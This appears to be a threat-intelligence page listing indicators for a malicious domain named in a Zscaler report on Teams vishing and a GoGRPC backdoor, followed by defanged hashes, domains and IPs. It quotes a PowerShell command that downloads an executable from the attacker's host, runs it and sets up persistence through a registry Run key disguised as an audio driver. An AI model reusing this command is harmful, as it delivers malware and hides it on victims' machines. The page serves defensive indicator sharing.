re102.fastwinnow[.]comDomain
Reported by 1 independent source · first reported by Zscaler ThreatLabz · last reported
Last reported 2 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Helpdesk Hijackers: Teams Vishing, Quick Assist, and GoGRPC Backdoor“$l=RANDOM;$u="hXXps:\/\/re102.fastwinnow[.]com/download/link";$p="$env:APPDATA\sekv$l.exe";Invoke-WebRequest $u -OutFile $p;Unblock-File $p;Start-Process $p;Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Realtek HD Audio" -Value $p; Remove-Item…”
Indicators reported together
named in the same reports- 66b2b22397cea219…fc9ca1fabed5in 1 report
- 9136ffb749c6cec1…d74c32578f52in 1 report
- 7dcabb6d07d52b92…56fc1cd2372fin 1 report
- 35ea50f16bd5c080…1ae58db0eedcin 1 report
- 759287052b8cc4f4…3a95092c6f96in 1 report
- f36bfccf944b5d1e…9d43940b1121in 1 report
- 51edd14233483bcf…7ec1bb17ce33in 1 report
- 5d53246b0e6b681b…2e829c053f85in 1 report
- 65af5c3ba2d00967…b907d492a670in 1 report
- 41748648b71a7043…a4f718e7fd91in 1 report
- f85960dee17ba587…c7f0988413f5in 1 report
- scansec-upd[.]comin 1 report
- re2.filesdwnload[.]topin 1 report
- re8.dowlfles[.]onlinein 1 report
- update19.upldf[.]onlinein 1 report
- 5.253.59[.]222in 1 report
- 94.140.114[.]192in 1 report
- 193.29.57[.]37in 1 report
- 45.86.162[.]228in 1 report
- 46.30.191[.]126in 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.